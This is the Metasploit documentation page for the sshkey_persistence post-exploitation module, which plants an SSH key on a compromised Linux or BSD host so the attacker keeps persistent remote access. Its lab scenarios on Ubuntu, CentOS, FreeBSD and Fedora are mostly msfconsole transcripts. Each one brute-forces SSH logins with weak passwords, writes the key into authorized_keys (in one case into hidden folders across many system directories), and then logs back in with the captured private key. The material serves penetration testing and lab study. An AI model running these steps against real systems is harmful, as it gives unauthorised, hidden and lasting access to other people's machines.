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Path: blob/master/documentation/modules/post/linux/manage/sshkey_persistence.md
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This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.
Creating A Testing Environment
This module has been tested against:
Kali Rolling
Ubuntu 16.04
Centos 6
Fedora 20
FreeBSD 9
Verification Steps
Start msfconsole
Exploit a box via whatever method
Do:
use post/linux/manage/sshkey_persistenceDo:
set session #Optional Do:
set usernameDo:
set verbose trueOptional Do:
Set sshd_configDo:
exploit
Options
SSHD_CONFIG
Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to .ssh/authorized_keys
USERNAME
If set, we only write our key to this user. If not, we'll write to all users
PUBKEY
A public key to use. If not provided, a pub/priv key pair is generated automatically
Scenarios
Ubuntu 16.04 (user level)
Get initial access
msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'tiki:tiki' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:38886 -> 192.168.2.190:22) at 2016-06-19 09:52:48 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set user tiki user => tiki msf post(sshkey_persistence) > set CreateSSHFolder true CreateSSHFolder => true msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [+] Pubkey set to yes [*] Authorized Keys File: .ssh/authorized_keys [*] Added User SSH Path: /home/tiki/.ssh [*] Attempting to create ssh folders that don't exist [+] Storing new private key as /root/.msf4/loot/20160619095250_default_192.168.2.190_id_rsa_425588.txt [*] Adding key to /home/tiki/.ssh/authorized_keys [*] Max line length is 65537 [*] Writing 761 bytes in 1 chunks of 2886 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Post module execution completed
Verify our access works
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.190 rhosts => 192.168.2.190 msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ key_path => /root/.msf4/loot/ msf auxiliary(ssh_login_pubkey) > set username tiki username => tiki msf auxiliary(ssh_login_pubkey) > run [*] 192.168.2.190:22 SSH - Testing Cleartext Keys [*] SSH - Testing 2 keys from /root/.msf4/loot [+] SSH - Success: 'tiki:-----BEGIN RSA PRIVATE KEY----- ...snip... 7m+il2AWyuPWOWEnpXRur3knruE2k97ObMH92FeI8SYaIThvqNUL -----END RSA PRIVATE KEY----- ' 'uid=1000(tiki) gid=1000(tiki) groups=1000(tiki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),117(lpadmin),118(sambashare) Linux tikiwiki 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 2 opened (192.168.2.229:42580 -> 192.168.2.190:22) at 2016-06-19 09:56:22 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
If you try to run for a user you don't have permissions for
msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [+] Pubkey set to yes [*] Authorized Keys File: .ssh/authorized_keys [*] Added: /root/.ssh [*] Attempting to create ssh folders that don't exist [+] /root/.ssh [*] Creating /root/.ssh folder [-] No users found with a .ssh directory [*] Post module execution completed
CentOS 6 (user level)
ssh keys must be enabled in sshd_config.
Get Initial Access
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set username user username => user msf auxiliary(ssh_login) > set password password password => password msf auxiliary(ssh_login) > set rhosts 192.168.4.62 rhosts => 192.168.4.62 msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'user:password' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:39289 -> 192.168.4.62:22) at 2016-06-19 15:27:27 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set user user user => user msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [*] Authorized Keys File: .ssh/authorized_keys [*] Added User SSH Path: /home/user/.ssh [*] Attempting to create ssh folders that don't exist [+] Storing new private key as /root/.msf4/loot/20160619152757_default_192.168.4.62_id_rsa_633695.txt [*] Creating /home/user/.ssh/authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1447 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Post module execution completed
Verify our access works
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.4.62 rhosts => 192.168.4.62 msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ key_path => /root/.msf4/loot/ msf auxiliary(ssh_login_pubkey) > set username user username => user msf auxiliary(ssh_login_pubkey) > run [*] 192.168.4.62:22 SSH - Testing Cleartext Keys [*] SSH - Testing 6 keys from /root/.msf4/loot [+] SSH - Success: 'user:-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA8xtiDZrE6XgkOJaatg+TvUcrEr92/GDSZUtEqO9RvvvPO1Yt ...snip... Ubz5hiBypg1/C2TMB9jH3QLKmT66Te7rfym7rOBIgIJKivs5JLZe7w== -----END RSA PRIVATE KEY----- ' 'uid=500(user) gid=500(user) groups=500(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 2 opened (192.168.2.229:34721 -> 192.168.4.62:22) at 2016-06-19 15:49:34 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
CentOS 6 (root)
The following sshd_config changes were made:
PubkeyAuthentication yes AuthorizedKeysFile .sshsecret/.authorized_keys PermitRootLogin yes
Get Initial Access
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set username root username => root msf auxiliary(ssh_login) > set password pass password => pass msf auxiliary(ssh_login) > set rhosts 192.168.4.62 rhosts => 192.168.4.62 msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'root:pass' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.localdomain 2.6.32-71.el6.x86_64 #1 SMP Fri May 20 03:51:51 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:46420 -> 192.168.4.62:22) at 2016-06-19 15:58:32 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key. Keep in mind NOT setting a user (targeted), and CreateSSHFolder will possibly make MANY folders/files as can be observed below.
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set CreateSSHFolder true CreateSSHFolder => true msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [+] Pubkey set to yes [*] Authorized Keys File: .sshsecret/.authorized_keys [*] Finding .sshsecret directories [*] Attempting to create ssh folders that don't exist [*] Creating //.sshsecret folder [*] Creating /bin/.sshsecret folder [*] Creating /dev/.sshsecret folder [*] Creating /etc/abrt/.sshsecret folder [*] Creating /etc/ntp/.sshsecret folder [*] Creating /proc/.sshsecret folder [*] Creating /root/.sshsecret folder [*] Creating /sbin/.sshsecret folder [*] Creating /usr/games/.sshsecret folder [*] Creating /var/adm/.sshsecret folder [*] Creating /var/cache/rpcbind/.sshsecret folder [*] Creating /var/empty/saslauth/.sshsecret folder [*] Creating /var/empty/sshd/.sshsecret folder [*] Creating /var/ftp/.sshsecret folder [*] Creating /var/gopher/.sshsecret folder [*] Creating /var/lib/avahi-autoipd/.sshsecret folder [*] Creating /var/lib/gdm/.sshsecret folder [*] Creating /var/lib/hsqldb/.sshsecret folder [*] Creating /var/lib/mysql/.sshsecret folder [*] Creating /var/lib/nfs/.sshsecret folder [*] Creating /var/run/avahi-daemon/.sshsecret folder [*] Creating /var/run/pulse/.sshsecret folder [*] Creating /var/spool/lpd/.sshsecret folder [*] Creating /var/spool/mail/.sshsecret folder [*] Creating /var/spool/postfix/.sshsecret folder [*] Creating /var/spool/uucp/.sshsecret folder [*] Creating /var/www/.sshsecret folder [+] Storing new private key as /root/.msf4/loot/20160619155920_default_192.168.4.62_id_rsa_271813.txt [*] Creating //.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Creating /bin/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /dev/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /etc/abrt/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /etc/ntp/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Adding key to /home/user/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 761 bytes in 1 chunks of 2910 bytes (octal-encoded), using printf [+] Key Added [*] Creating /root/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /sbin/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /usr/games/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/adm/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/cache/rpcbind/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/empty/saslauth/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/empty/sshd/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/ftp/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/gopher/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/lib/avahi-autoipd/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/lib/gdm/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/lib/hsqldb/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/lib/mysql/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/lib/nfs/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/run/avahi-daemon/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/run/pulse/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/spool/lpd/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/spool/mail/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/spool/postfix/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/spool/uucp/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Creating /var/www/.sshsecret/.authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1458 bytes (octal-encoded), using printf [+] Key Added [*] Post module execution completed
FreeBSD9 (root)
Several sshd_config mods were needed to allow root login, and enable the service to run correctly.
Get Initial Access
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set username root username => root msf auxiliary(ssh_login) > set password password password => password msf auxiliary(ssh_login) > set rhosts 192.168.2.130 rhosts => 192.168.2.130 msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'root:password' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:41724 -> 192.168.2.130:22) at 2016-06-19 22:10:59 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set username root username => root msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [+] Pubkey set to yes [*] Authorized Keys File: .ssh/authorized_keys [*] Finding .ssh directories [+] Storing new private key as /root/.msf4/loot/20160619221108_default_192.168.2.130_id_rsa_441694.txt [*] Creating /root/.ssh/authorized_keys [*] Max line length is 131073 [*] Writing 380 bytes in 1 chunks of 1461 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Post module execution completed
Verify our access works
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.130 rhosts => 192.168.2.130 msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ key_path => /root/.msf4/loot/ msf auxiliary(ssh_login_pubkey) > set username root username => root msf auxiliary(ssh_login_pubkey) > run [*] 192.168.2.130:22 SSH - Testing Cleartext Keys [*] SSH - Testing 4 keys from /root/.msf4/loot [+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAqBC5XwkPOAtFn8zCFWIs3IIzUUfMvJPWxQQl1Porf8GiSs2B ...snip... 6aj815iPJp9X5vnIR6mRdTJP9UQraPe6jneicx8QfncfoqJbA2v7 -----END RSA PRIVATE KEY----- ' 'uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) FreeBSD freebsd9 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 ' [*] Command shell session 2 opened (192.168.2.229:32991 -> 192.168.2.130:22) at 2016-06-19 22:14:16 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Fedora 20 (root)
Get Initial Access
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set username root username => root msf auxiliary(ssh_login) > set password password password => password msf auxiliary(ssh_login) > set rhosts 192.168.2.143 rhosts => 192.168.2.143 msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:35460 -> 192.168.2.143:22) at 2016-06-19 20:27:53 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set user root user => root msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [*] Authorized Keys File: .ssh/authorized_keys [*] Added User SSH Path: /root/.ssh [+] Storing new private key as /root/.msf4/loot/20160619202835_default_192.168.2.143_id_rsa_458964.txt [*] Creating /root/.ssh/authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1456 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Post module execution completed
Verify our access works
msf post(sshkey_persistence) > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > set rhosts 192.168.2.143 rhosts => 192.168.2.143 msf auxiliary(ssh_login_pubkey) > set key_path /root/.msf4/loot/ key_path => /root/.msf4/loot/ msf auxiliary(ssh_login_pubkey) > set username root username => root msf auxiliary(ssh_login_pubkey) > run [*] 192.168.2.143:22 SSH - Testing Cleartext Keys [*] SSH - Testing 2 keys from /root/.msf4/loot [!] No active DB -- Credential data will not be saved! [+] SSH - Success: 'root:-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAx5LLnAOPzc5KSI/Zd71bdHlexQrIpuASjUIGnJjlJVB9Sfyz ...snip... vtOaL6/NsfxFDDrCBX72X5tv3rTA4MNzOFTYbCM80Ln6E2TDWgPv -----END RSA PRIVATE KEY----- ' 'uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' [*] Command shell session 2 opened (192.168.2.229:35751 -> 192.168.2.143:22) at 2016-06-19 20:31:23 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Fedora 20 (user level)
Get Initial Access
msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set username user username => user msf auxiliary(ssh_login) > set password password password => password msf auxiliary(ssh_login) > set rhosts 192.168.2.143 rhosts => 192.168.2.143 msf auxiliary(ssh_login) > exploit [*] SSH - Starting bruteforce [+] SSH - Success: 'user:password' 'uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Linux localhost.homeGroup 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux ' [!] No active DB -- Credential data will not be saved! [*] Command shell session 1 opened (192.168.2.229:37727 -> 192.168.2.143:22) at 2016-06-19 20:33:45 -0400 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Use the post module to write the ssh key
msf auxiliary(ssh_login) > use post/linux/manage/sshkey_persistence msf post(sshkey_persistence) > set session 1 session => 1 msf post(sshkey_persistence) > set verbose true verbose => true msf post(sshkey_persistence) > set username user username => user msf post(sshkey_persistence) > exploit [*] Checking SSH Permissions [*] Authorized Keys File: .ssh/authorized_keys [*] Finding .ssh directories [+] Storing new private key as /root/.msf4/loot/20160619203401_default_192.168.2.143_id_rsa_010117.txt [*] Creating /home/user/.ssh/authorized_keys [*] Max line length is 65537 [*] Writing 380 bytes in 1 chunks of 1452 bytes (octal-encoded), using printf [+] Key Added [!] No active DB -- Credential data will not be saved! [*] Post module execution completed